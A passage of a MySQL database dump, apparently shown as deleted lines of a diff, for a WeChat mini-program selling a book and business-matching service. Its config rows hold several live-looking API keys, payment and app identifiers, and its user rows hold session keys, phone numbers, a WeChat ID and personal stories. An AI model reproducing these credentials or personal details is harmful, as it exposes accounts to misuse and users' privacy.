'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'miniprogram', NULL, '2026-03-11 02:34:52'); -INSERT INTO `referral_visits` VALUES (681, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'miniprogram', NULL, '2026-03-11 02:34:52'); -INSERT INTO `referral_visits` VALUES (682, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'miniprogram', 'pages/read/read', '2026-03-11 02:34:52'); - --- ---------------------------- --- Table structure for system_config --- ---------------------------- -DROP TABLE IF EXISTS `system_config`; -CREATE TABLE `system_config` ( - `id` int(11) NOT NULL AUTO_INCREMENT, - `config_key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `config_value` json NOT NULL, - `description` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, - `updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `config_key`(`config_key`) USING BTREE, - INDEX `idx_config_key`(`config_key`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 103 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of system_config --- ---------------------------- -INSERT INTO `system_config` VALUES (1, 'match_config', '{\"settings\": {\"maxMatchesPerDay\": 10, \"enableFreeMatches\": true, \"enablePaidMatches\": true}, \"matchPrice\": 1, \"matchTypes\": [{\"id\": \"partner\", \"icon\": \"⭐\", \"label\": \"创业合伙\", \"enabled\": true, \"matchLabel\": \"创业伙伴\", \"matchFromDB\": true, \"showJoinAfterMatch\": false}, {\"id\": \"investor\", \"icon\": \"👥\", \"label\": \"资源对接\", \"enabled\": true, \"matchLabel\": \"资源对接\", \"matchFromDB\": false, \"showJoinAfterMatch\": true}, {\"id\": \"mentor\", \"icon\": \"❤️\", \"label\": \"导师顾问\", \"enabled\": true, \"matchLabel\": \"商业顾问\", \"matchFromDB\": false, \"showJoinAfterMatch\": true}, {\"id\": \"team\", \"icon\": \"🎮\", \"label\": \"团队招募\", \"enabled\": true, \"matchLabel\": \"加入项目\", \"matchFromDB\": false, \"showJoinAfterMatch\": true}], \"poolSettings\": {\"poolSource\": [\"vip\", \"complete\"], \"requirePhone\": true, \"requireAvatar\": true, \"requireBusiness\": true, \"requireNickname\": true}, \"freeMatchLimit\": 3}', '匹配功能配置', '2026-01-25 12:15:20', '2026-03-08 10:12:12'); -INSERT INTO `system_config` VALUES (2, 'referral_config', '{\"bindingDays\": 30, \"withdrawFee\": 5, \"userDiscount\": 0, \"distributorShare\": 90, \"minWithdrawAmount\": 0, \"enableAutoWithdraw\": true}', '分销 / 推广规则配置', '2026-01-25 12:15:20', '2026-02-23 10:10:59'); -INSERT INTO `system_config` VALUES (3, 'book_config', '{\"freeSections\": [\"preface\", \"epilogue\", \"1.1\", \"appendix-1\", \"appendix-2\", \"appendix-3\"], \"totalSections\": 62, \"latestSectionId\": \"9.14\"}', '书籍配置-免费章节', '2026-01-31 12:00:15', '2026-01-31 12:00:15'); -INSERT INTO `system_config` VALUES (4, 'mp_config', '{\"appId\": \"wxb8bbb2b10dec74aa\", \"mchId\": \"1318592501\", \"apiDomain\": \"https://soul.quwanzhi.com\", \"minWithdraw\": 1, \"buyerDiscount\": 5, \"referralBindDays\": 30, \"withdrawSubscribeTmplId\": \"u3MbZGPRkrZIk-I7QdpwzFxnO_CeQPaCWF2FkiIablE\"}', '小程序专用配置', '2026-01-31 12:00:15', '2026-03-07 14:56:26'); -INSERT INTO `system_config` VALUES (5, 'feature_config', '{\"aboutEnabled\": true, \"matchEnabled\": true, \"searchEnabled\": true, \"referralEnabled\": true}', '功能开关配置', '2026-01-31 12:00:16', '2026-03-11 02:42:14'); -INSERT INTO `system_config` VALUES (97, 'vip_price', '1980', NULL, '2026-02-23 17:04:23', '2026-02-23 17:04:23'); -INSERT INTO `system_config` VALUES (99, 'site_settings', '{\"authorInfo\": {\"bio\": \"连续创业者,私域运营专家,每天早上6-9点在Soul派对房分享真实商业故事\", \"name\": \"卡若\", \"liveTime\": \"06:00-09:00\", \"platform\": \"Soul派对房\", \"startDate\": \"2025年10月15日\", \"description\": \"连续创业者,私域运营专家\"}, \"sectionPrice\": 1, \"baseBookPrice\": 9.9, \"distributorShare\": 90}', '站点与作者配置', '2026-03-07 14:56:26', '2026-03-07 14:56:26'); -INSERT INTO `system_config` VALUES (100, 'article_ranking_weights', '{\"payWeight\": 0.4, \"readWeight\": 0.1, \"recencyWeight\": 0.5}', '文章排名算法权重', '2026-03-07 15:45:19', '2026-03-10 06:35:30'); -INSERT INTO `system_config` VALUES (101, 'ckb_config', '{\"routes\": {\"lead\": {\"tags\": \"\", \"notes\": \"\", \"apiKey\": \"2y4v5-rjhfc-sg5wy-zklkv-bg0tl\", \"apiUrl\": \"https://ckbapi.quwanzhi.com/v1/api/scenarios\", \"source\": \"\", \"siteTags\": \"创业实验APP\"}, \"match\": {\"tags\": \"\", \"notes\": \"\", \"apiKey\": \"fyngh-ecy9h-qkdae-epwd5-rz6kd\", \"apiUrl\": \"https://ckbapi.quwanzhi.com/v1/api/scenarios\", \"source\": \"\", \"siteTags\": \"创业实验APP\"}, \"join_team\": {\"tags\": \"\", \"notes\": \"\", \"apiKey\": \"fyngh-ecy9h-qkdae-epwd5-rz6kd\", \"apiUrl\": \"https://ckbapi.quwanzhi.com/v1/api/scenarios\", \"source\": \"\", \"siteTags\": \"创业实验APP\"}, \"join_mentor\": {\"tags\": \"\", \"notes\": \"\", \"apiKey\": \"Egk8K-7hlih-qS5Au-kLPmO-pkR57-XKPhT\", \"apiUrl\": \"https://ckbapi.quwanzhi.com/v1/api/scenarios\", \"source\": \"\", \"siteTags\": \"创业实验APP\"}, \"join_partner\": {\"tags\": \"\", \"notes\": \"\", \"apiKey\": \"\", \"apiUrl\": \"https://ckbapi.quwanzhi.com/v1/api/scenarios\", \"source\": \"\", \"siteTags\": \"创业实验APP\"}, \"join_investor\": {\"tags\": \"\", \"notes\": \"\", \"apiKey\": \"UIs5a-sg7fI-0O1Yp-8kDEf-NJnvf-uqipP\", \"apiUrl\": \"https://ckbapi.quwanzhi.com/v1/api/scenarios\", \"source\": \"\", \"siteTags\": \"创业实验APP\"}}, \"docNotes\": \"\", \"docContent\": \"# 场景获客接口摘要\\n- 地址:POST /v1/api/scenarios\\n- 必填:apiKey、sign、timestamp\\n- 主标识:phone 或 wechatId 至少一项\\n- 可选:name、source、remark、tags、siteTags、portrait\\n- 签名:排除 sign/apiKey/portrait,键名升序拼接值后双重 MD5\\n- 成功:code=200,message=新增成功 或 已存在\"}', '存客宝接口配置', '2026-03-08 09:00:52', '2026-03-08 21:58:42'); -INSERT INTO `system_config` VALUES (102, 'pinned_section_ids', '[\"10.15\", \"10.11\"]', '强制置顶章节ID列表(精选推荐/首页最新更新)', '2026-03-10 06:36:04', '2026-03-10 06:36:33'); - --- ---------------------------- --- Table structure for user_addresses --- ---------------------------- -DROP TABLE IF EXISTS `user_addresses`; -CREATE TABLE `user_addresses` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `province` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `city` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `district` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `detail` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `is_default` tinyint(1) NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of user_addresses --- ---------------------------- -INSERT INTO `user_addresses` VALUES ('addr_81326127997', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '干活的', '15260158253', '北京市', '北京市', '东城区', '风格', 0, '2026-02-13 06:46:21.329', '2026-02-13 06:46:21.329'); - --- ---------------------------- --- Table structure for user_rules --- ---------------------------- -DROP TABLE IF EXISTS `user_rules`; -CREATE TABLE `user_rules` ( - `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `title` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL, - `trigger` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `sort` bigint(20) NULL DEFAULT 0, - `enabled` tinyint(1) NULL DEFAULT 1, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 11 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of user_rules --- ---------------------------- -INSERT INTO `user_rules` VALUES (1, '注册完成 → 填写头像', '用户完成注册后,引导填写头像和昵称,提升个人信息完整度', '注册', 10, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (2, '完成匹配 → 补充个人资料', '用户完成 Soul 派对房匹配后,引导填写 MBTI、行业、职位等详细信息', '完成匹配', 20, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (3, '首次浏览章节 → 绑定手机号', '用户点击阅读收费章节时,引导绑定手机号以完成身份验证', '点击收费章节', 30, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (4, '付款 ¥1980 → 填写完整信息', '', '', 40, 1, '2026-03-08 01:20:52.358', '2026-03-08 08:12:42.983'); -INSERT INTO `user_rules` VALUES (5, '加入派对房 → 填写项目介绍', '进入 Soul 派对房前,引导填写个人项目介绍和核心需求,便于精准匹配', '加入派对房', 50, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (6, '浏览 5 个章节 → 分享推广', '用户累计阅读 5 个章节后,触发分享引导,邀请好友可获得收益', '累计浏览5章节', 60, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (7, '绑定微信 → 开启分销', '绑定微信后,提示用户开启分销功能,生成专属推广码', '绑定微信', 70, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (8, '收益达到 ¥50 → 申请提现', '累计分销收益超过 50 元时,引导用户申请提现', '收益满50元', 80, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (9, '完善信息 → 进入流量池', '引导用户授权存客宝信息同步,进入对应微信流量池,获得精准服务', '手动触发', 90, 1, '2026-03-08 01:20:52.358', '2026-03-08 03:26:24.193'); -INSERT INTO `user_rules` VALUES (10, '浏览导师主页 → 预约咨询', '用户浏览导师详情页超过 30 秒,引导预约一对一咨询', '浏览导师页', 100, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); - --- ---------------------------- --- Table structure for user_tag_definitions --- ---------------------------- -DROP TABLE IF EXISTS `user_tag_definitions`; -CREATE TABLE `user_tag_definitions` ( - `id` int(11) NOT NULL AUTO_INCREMENT, - `name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '标签名称', - `category` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '标签分类: system/ckb/behavior/source', - `color` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT '#38bdac' COMMENT '标签颜色', - `description` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '标签描述', - `is_active` tinyint(1) NULL DEFAULT 1 COMMENT '是否启用', - `created_at` datetime NULL DEFAULT CURRENT_TIMESTAMP, - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `name`(`name`) USING BTREE, - INDEX `idx_category`(`category`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 15 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户标签定义表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of user_tag_definitions --- ---------------------------- -INSERT INTO `user_tag_definitions` VALUES (1, '已购全书', 'system', '#22c55e', '购买了完整书籍', 1, '2026-01-29 16:57:03'); -INSERT INTO `user_tag_definitions` VALUES (2, 'VIP用户', 'system', '#eab308', 'VIP会员', 1, '2026-01-29 16:57:03'); -INSERT INTO `user_tag_definitions` VALUES (3, '活跃用户', 'behavior', '#38bdac', '最近7天有访问', 1, '2026-01-29 16:57:03'); -INSERT INTO `user_tag_definitions` VALUES (4, '高价值用户', 'behavior', '#f59e0b', '消费超过100元', 1, '2026-01-29 16:57:03'); -INSERT INTO `user_tag_definitions` VALUES (5, '推广达人', 'behavior', '#8b5cf6', '成功推荐5人以上', 1, '2026-01-29 16:57:03'); -INSERT INTO `user_tag_definitions` VALUES (6, '微信用户', 'source', '#07c160', '通过微信授权登录', 1, '2026-01-29 16:57:03'); -INSERT INTO `user_tag_definitions` VALUES (7, '手动创建', 'source', '#6b7280', '后台手动创建', 1, '2026-01-29 16:57:03'); - --- ---------------------------- --- Table structure for user_tracks --- ---------------------------- -DROP TABLE IF EXISTS `user_tracks`; -CREATE TABLE `user_tracks` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, - `user_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户ID', - `action` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '行为类型', - `chapter_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '章节ID', - `target` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '目标对象', - `extra_data` json NULL COMMENT '额外数据', - `created_at` datetime NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_user_id`(`user_id`) USING BTREE, - INDEX `idx_action`(`action`) USING BTREE, - INDEX `idx_created_at`(`created_at`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户行为轨迹表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of user_tracks --- ---------------------------- -INSERT INTO `user_tracks` VALUES ('track_62242789', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'view_chapter', '9.20', '9.20', NULL, '2026-02-23 06:20:12'); -INSERT INTO `user_tracks` VALUES ('track_mm001i8ewy6bae', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'view_chapter', 'preface', 'preface', NULL, '2026-02-24 10:41:31'); - --- ---------------------------- --- Table structure for users --- ---------------------------- -DROP TABLE IF EXISTS `users`; -CREATE TABLE `users` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `open_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `wechat_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `mbti` varchar(16) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MBTI类型', - `region` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '地区', - `industry` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '行业', - `position` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '职位', - `business_scale` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '业务体量', - `skills` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '我擅长', - `story_best_month` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '最赚钱的一个月', - `story_achievement` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '最有成就感的事', - `story_turning` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '人生转折点', - `help_offer` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '我能帮助大家什么', - `help_need` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '我需要什么帮助', - `project_intro` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '项目介绍', - `referral_code` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `purchased_sections` json NULL, - `has_full_book` tinyint(1) NULL DEFAULT 0, - `earnings` decimal(10, 2) NULL DEFAULT 0.00, - `pending_earnings` decimal(10, 2) NULL DEFAULT 0.00, - `referral_count` int(11) NULL DEFAULT 0, - `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, - `updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, - `password` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `session_key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `referred_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `is_admin` tinyint(1) NULL DEFAULT 0, - `match_count_today` int(11) NULL DEFAULT 0, - `last_match_date` date NULL DEFAULT NULL, - `withdrawn_earnings` decimal(10, 2) NULL DEFAULT 0.00, - `ckb_user_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '存客宝用户ID', - `ckb_synced_at` datetime NULL DEFAULT NULL COMMENT '最后同步时间', - `ckb_tags` json NULL COMMENT '存客宝标签', - `tags` json NULL COMMENT '系统标签', - `source_tags` json NULL COMMENT '来源标签', - `merged_tags` json NULL COMMENT '合并后的标签', - `source` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '用户来源', - `created_by` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '创建人', - `matched_by` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '匹配人', - `is_vip` tinyint(1) NULL DEFAULT 0, - `vip_expire_date` datetime NULL DEFAULT NULL, - `vip_name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `vip_project` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `vip_contact` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `vip_avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `vip_bio` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL, - `view_count` int(11) NULL DEFAULT 0, - `purchase_count` int(11) NULL DEFAULT 0, - `vip_activated_at` datetime NULL DEFAULT NULL COMMENT '成为VIP时间,付款=pay_time,手动=now,排序用', - `vip_sort` int(11) NULL DEFAULT NULL COMMENT '手动排序,越小越前', - `vip_role` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '角色:从 vip_roles 选或手动填写', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `open_id`(`open_id`) USING BTREE, - UNIQUE INDEX `referral_code`(`referral_code`) USING BTREE, - INDEX `idx_open_id`(`open_id`) USING BTREE, - INDEX `idx_referral_code`(`referral_code`) USING BTREE, - INDEX `idx_phone`(`phone`) USING BTREE, - INDEX `idx_referred_by`(`referred_by`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of users --- ---------------------------- -INSERT INTO `users` VALUES ('ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '乘风', 'https://soulapi.quwanzhi.com/uploads/avatars/1772697433514817497_h8mq3h.jpeg', '15260158253', 'flydo888', 'INFP', '泉州', '自媒体', '电商操盘手 / 运营合伙人', '年营收 300万+,全网粉丝 80万', '抖音带货、供应链搭建、精细化运营', '2022 年 3 月接了一个品牌全案策划项目,从 0 到 1 完成产品定位、视觉与推广规划,单月项目费 25 万,相当于平时大半年的收入。', '带过一名刚转行的新人,从不会写文案到能独立负责小红书、抖音内容,一年后她成为公司内容负责人,这种从零带起来的感觉很踏实。', '2020 年从大厂裸辞,做了一年自由撰稿人,收入不稳定但找到自己喜欢的方向,后来转型做品牌咨询,才确定现在的职业路径。', '123', '123', '', 'SOULGSPSQG', '[\"1.2\", \"1.4\", \"1.3\"]', 0, 0.00, 0.00, 2, '2026-01-29 14:21:24', '2026-03-10 13:03:10', NULL, 'iACYj5ODZSLbnXUeXnJIbA==', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 1, '2027-01-23 16:00:00', '乘风', '存客宝', '13144454423', 'https://souldev.quwanzhi.com/uploads/avatars/1772174037428476361_s98qi3.png', '存客宝是世界上最好的公司!', 0, 0, '2026-03-05 07:21:43', NULL, '创始人'); -INSERT INTO `users` VALUES ('ogpTW5aca9PhE5Jsd5u4I6e_S3P0', 'ogpTW5aca9PhE5Jsd5u4I6e_S3P0', '微信用户S3P0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULE_S3P0', '[]', 0, 0.00, 0.00, 0, '2026-02-13 06:42:12', '2026-02-13 06:42:12', NULL, 'GcrFslIvtoDikl0T6AI3Zg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5acivPao0-jascoT41hc8DI', 'ogpTW5acivPao0-jascoT41hc8DI', '微信用户c8DI', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL1HC8DI', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:26:00', '2026-03-07 01:26:00', NULL, '63jyGAnxKiA/aYYbgF89aw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5agbIMuRu9lkNeEG3B7i4tc', 'ogpTW5agbIMuRu9lkNeEG3B7i4tc', '微信用户i4tc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULB7I4TC', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:25:58', '2026-03-07 01:25:58', NULL, 'fy2C5fSdKs6+gj2b+Z6Hvw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5aTOnGtEGKpZi81tuNaAya0', 'ogpTW5aTOnGtEGKpZi81tuNaAya0', '微信用户Aya0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULNAAYA0', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:26:06', '2026-03-07 01:26:06', NULL, 'SK8S6/8EgCT2zaAPq3bozg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5b_R0QykFikd2Zg29jrYCmE', 'ogpTW5b_R0QykFikd2Zg29jrYCmE', '微信用户YCmE', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULJRYCME', '[]', 0, 0.00, 0.00, 0, '2026-01-30 13:12:53', '2026-01-30 13:12:53', NULL, 'Aqn+jsmjs8bk88PvFHHifw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5b-aXcb6oMrIl1Yfd9szi_E', 'ogpTW5b-aXcb6oMrIl1Yfd9szi_E', '微信用户zi_E', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL9SZI_E', '[]', 0, 0.00, 0.00, 0, '2026-03-03 13:55:32', '2026-03-03 13:55:32', NULL, '62tCxF2mIl6wrvuLRmIPHQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5b8DXrhFk7WsqIODy83nzSY', 'ogpTW5b8DXrhFk7WsqIODy83nzSY', '微信用户nzSY', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL83NZSY', '[]', 0, 0.00, 0.00, 0, '2026-03-10 10:40:47', '2026-03-10 10:40:47', NULL, 'MEtH3yqc0AHm2c3EJmjqxA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bDj-iMX9KlZqUfmoznn3L8', 'ogpTW5bDj-iMX9KlZqUfmoznn3L8', '微信用户n3L8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZNN3L8', '[]', 0, 0.00, 0.00, 0, '2026-02-02 09:47:47', '2026-02-02 09:47:47', NULL, 'TwPJpftimIeDRc1hmtCAqA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bfXI7rJWSJ1m1tsOWvFYGw', 'ogpTW5bfXI7rJWSJ1m1tsOWvFYGw', '微信用户FYGw', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULWVFYGW', '[]', 0, 0.00, 0.00, 0, '2026-01-30 06:47:13', '2026-01-30 06:47:13', NULL, 'uY+n4AJOLkYuO7/vSp/7nA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bJ-5SHYxtl3p0KiiZvaids', 'ogpTW5bJ-5SHYxtl3p0KiiZvaids', '微信用户aids', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 